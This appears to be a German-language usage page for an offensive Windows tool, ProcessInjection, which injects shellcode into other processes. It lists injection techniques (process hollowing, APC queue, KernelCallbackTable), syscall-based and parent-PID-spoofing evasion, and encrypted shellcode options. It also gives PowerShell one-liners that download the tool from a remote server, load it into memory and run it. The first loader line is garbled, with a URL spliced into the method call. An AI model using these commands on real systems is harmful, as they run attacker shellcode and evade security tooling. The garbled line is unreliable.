1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) KernelCallbackTable Injection

1) base64
2) hex
3) c
4) raw

1) P/Invoke
2) D/Invoke
3) Direct Syscalls
4) Indirect Syscalls

1) Parent PID Spoofing

Verschlüsselung
2) XOR-Verschlüsselung (Kann auch mit der Parent-PID-Spoofing-Technik verwendet werden, kann aber nicht mit der DLL-Injection-Technik verwendet werden)
3) AES-Verschlüsselung (Kann auch mit der Parent-PID-Spoofing-Technik verwendet werden, kann aber nicht mit der DLL-Injection-Technik verwendet werden)

# Load from the disk
[System.Reflection.Assembly]:https://raw.githubusercontent.com/3xpl01tc0d3r/processinjection/HEAD/:Load(%5BSystem.IO.File%5D::ReadAllBytes(%22ProcessInjection.exe%22))

# Load from a remote server
[System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http://<URL>/ProcessInjection.exe"))

# Perform process injection
[ProcessInjection.ProcessInjection]::Main(@("/t:1", "/f:base64", "/pid:<ProcessId>", "/sc:<ShellCode>"))

Verwendung      Beschreibung
-----           -----------
/t              Geben Sie die ID der Prozessinjektionstechnik an.
                1 = Vanilla Process Injection
                2 = DLL Injection
                3 = Process Hollowing
                4 = APC Queue Injection
				5 = KernelCallbackTable Injection
/m              Geben Sie die zu verwendende Methode an.
                p = P/Invoke (Standard)
                d = D/Invoke
		ds = Direct Syscalls
		ids = Indirect Syscalls
/f              Geben Sie das Format des Shellcodes an.
                base64
                hex
                c
                raw
/pid            Geben Sie die Prozess-ID an.
/parentproc     Geben Sie den Namen des übergeordneten Prozesses an.
/path           Geben Sie den Pfad der Datei an, die den Shellcode enthält.
/ppath          Geben Sie den Pfad der ausführbaren Datei an, die gestartet wird (erforderlich bei Verwendung des /parentproc-Arguments).
/url            Geben Sie die URL an, auf der der Shellcode gehostet wird.
/enc            Geben Sie den Verschlüsselungstyp (aes oder xor) an, mit dem der Shellcode verschlüsselt ist.
/key            Geben Sie den Schlüssel an, der zum Entschlüsseln des Shellcodes verwendet wird.
/sc             Geben Sie den Shellcode direkt im base64- oder Hex-Format an. Hinweis: Um großen Shellcode zu übergeben, nutzen Sie bitte Reflection, um das Programm auszuführen.  
/help           Hilfe anzeigen